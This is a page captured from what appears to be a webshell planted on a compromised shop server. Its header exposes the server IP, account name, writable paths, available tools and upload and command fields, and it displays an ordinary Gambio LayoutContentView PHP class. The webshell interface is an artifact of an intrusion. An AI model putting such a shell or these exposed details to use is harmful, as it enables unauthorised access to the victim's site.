403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/system/classes/layout/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/system/classes/layout/LayoutContentView.inc.php
<?php
/* --------------------------------------------------------------
  LayoutContentView.inc.php 2019-07-03
  Gambio GmbH
  http://www.gambio.de
  Copyright (c) 2019 Gambio GmbH
  Released under the GNU General Public License (Version 2)
  [http://www.gnu.org/licenses/gpl-2.0.html]
  --------------------------------------------------------------
 */

// include needed functions
require_once(DIR_FS_INC . 'xtc_banner_exists.inc.php');
require_once(DIR_FS_INC . 'xtc_display_banner.inc.php');
require_once(DIR_FS_INC . 'xtc_update_banner_display_count.inc.php');

class LayoutContentView extends ContentView
{
    protected $account_type;
    protected $bottom_content;
    protected $c_path;
    protected $category_id;
    protected $coo_breadcrumb;
    protected $coo_product;
    protected $coo_xtc_price;
    protected $customer_id;
    protected $error_message;
    protected $head_content;
    protected $info_message;
    protected $main_content;
    protected $popup_notification_content;
    protected $request_type;
    protected $topbar_content;
    protected $cookiebar_content;
    protected $coo_mn_data_container;
    protected $footer_content;
    
    
    public function __construct()
    {
        parent::__construct();
        
        $this->set_content_template('index.html');
        $this->set_flat_assigns(true);
    }
    
    
    public function prepare_data()
    {
        $this->set_content_data('HEAD', $this->head_content);
        $this->set_content_data('TOPBAR', $this->topbar_content);
        $this->set_content_data('COOKIEBAR', $this->cookiebar_content);
        $this->set_content_data('POPUP_NOTIFICATION', $this->popup_notification_content);
        $this->set_content_data('FOOTER', $this->_addFooterContent());
    
        $this->prepare_menu_boxes();
        
        if ($this->customer_id !== null) {
            $this->set_content_data('logoff', xtc_href_link(FILENAME_LOGOFF, '', 'SSL'));
        }
        
        if ($this->account_type == '0') {
            $this->set_content_data('account', xtc_href_link(FILENAME_ACCOUNT, '', 'SSL'));
        }
        
        $this->set_content_data('navtrail', $this->coo_breadcrumb->trail(' &raquo; '));
        $this->set_content_data('cart', xtc_href_link(FILENAME_SHOPPING_CART, '', 'SSL'));
        $this->set_content_data('checkout', xtc_href_link(FILENAME_CHECKOUT_SHIPPING, '', 'SSL'));
        $this->set_content_data('store_name', STORE_NAME);
        
        if ($this->error_message != '') {
            $this->set_content_data('error',
                                    '
			<table border="0" width="100%" cellspacing="0" cellpadding="2">
			  <tr class="headerError">
				<td class="headerError">' . htmlspecialchars_wrapper($this->error_message) . '</td>
			  </tr>
			</table>');
        }
        
        if ($this->info_message != '') {
            $this->set_content_data('error',
                                    '
				<table border="0" width="100%" cellspacing="0" cellpadding="2">
				  <tr class="headerInfo">
					<td class="headerInfo">' . htmlspecialchars_wrapper($this->info_message) . '</td>
				  </tr>
				</table>');
        }
        
        $this->set_content_data('BANNER', $this->get_banner());
        
        $this->set_content_data('main_content', $this->main_content);
        $this->set_content_data('BOTTOM', $this->bottom_content);
        
        $trustedShopsReviewSticker = '';
        $isInstalled               = gm_get_conf('MODULE_CENTER_TRUSTEDSHOPS_INSTALLED');
        
        if ($isInstalled) {
            $trustedShopsService = MainFactory::create_object('GMTSService');
            $tsid                = $trustedShopsService->findRatingID($_SESSION['language_code']);
            if ($tsid !== false) {
                $reviewSnippet = $trustedShopsService->getReviewStickerSnippet($tsid);
                if ($reviewSnippet['enabled'] == true) {
                    $trustedShopsReviewSticker .= $reviewSnippet['snippet_code'];
                }
                
                $appendRichSnippet = false;
                if ((int)$this->category_id > 0 && $this->coo_product->isProduct == false
                    && $trustedShopsService->richsnippets_enabled_categories == true) {
                    // category page
                    $appendRichSnippet = true;
                } elseif ((int)$this->category_id == 0 && $this->coo_product->isProduct == true
                          && $trustedShopsService->richsnippets_enabled_products == true) {
                    // product page
                    $appendRichSnippet = true;
                } elseif ($trustedShopsService->richsnippets_enabled_other == true) {
                    // other page
                    $appendRichSnippet = true;
                }
                if ($appendRichSnippet == true) {
                    $trustedShopsReviewSticker .= $trustedShopsService->getRichSnippet($tsid);
                }
            }
        }
        
        $this->set_content_data('TRUSTED_SHOPS_REVIEW_STICKER', $trustedShopsReviewSticker);
    }
    
    
    public function get_banner()
    {
        $t_banner      = xtc_banner_exists('dynamic', 'banner');
        $t_banner_html = '';
        
        if ($t_banner) {
            $t_banner_html = xtc_display_banner('static', $t_banner);
        }
        
        return $t_banner_html;
    }
    
    
    protected function set_validation_rules()
    {
        // GENERAL VALIDATION RULES
        $this->validation_rules_array['account_type']               = ['type' => 'int'];
        $this->validation_rules_array['bottom_content']             = [
            'type'   => 'string',
            'strict' => 'true'
        ];
        $this->validation_rules_array['c_path']                     = [
            'type'   => 'string',
            'strict' => 'true'
        ];
        $this->validation_rules_array['category_id']                = ['type' => 'int'];
        $this->validation_rules_array['coo_breadcrumb']             = [
            'type'        => 'object',
            'object_type' => 'breadcrumb'
        ];
        $this->validation_rules_array['coo_product']                = [
            'type'        => 'object',
            'object_type' => 'product'
        ];
        $this->validation_rules_array['coo_xtc_price']              = [
            'type'        => 'object',
            'object_type' => 'xtcPrice'
        ];
        $this->validation_rules_array['customer_id']                = ['type' => 'int'];
        $this->validation_rules_array['error_message']              = [
            'type'   => 'string',
            'strict' => 'true'
        ];
        $this->validation_rules_array['head_content']               = [
            'type'   => 'string',
            'strict' => 'true'
        ];
        $this->validation_rules_array['info_message']               = [
            'type'   => 'string',
            'strict' => 'true'
        ];
        $this->validation_rules_array['main_content']               = [
            'type'   => 'string',
            'strict' => 'true'
        ];
        $this->validation_rules_array['popup_notification_content'] = [
            'type'   => 'string',
            'strict' => 'true'
        ];
        $this->validation_rules_array['request_type']               = [
            'type'   => 'string',
            'strict' => 'true'
        ];
        $this->validation_rules_array['topbar_content']             = [
            'type'   => 'string',
            'strict' => 'true'
        ];
        $this->validation_rules_array['cookiebar_content']          = [
            'type'   => 'string',
            'strict' => 'true'
        ];
        $this->validation_rules_array['footer_content']             = [
            'type'   => 'string',
            'strict' => 'true'
        ];
    }
    
    
    protected function _addFooterContent()
    {
        $view = MainFactory::create_object('FooterContentView');
        $view->set_flat_assigns(true);
        $view->set_('language_id', $_SESSION['languages_id']);
        $view->set_('customer_status_id', $_SESSION['customers_status']['customers_status_id']);
        $view->set_('footerColumns', ['4321005', '4321006', '4321007']);
        $footerContent = $view->get_html();
        
        return $footerContent;
    }
    
    protected function prepare_menu_boxes(): void
    {
        if ($this->coo_mn_data_container) {
            foreach ($this->coo_mn_data_container->MenuBoxData() as $key => $value) {
                $this->set_content_data($key, $value);
            }
        }
    }
    
}

Youez - 2016 - github.com/yon3zu
LinuXploit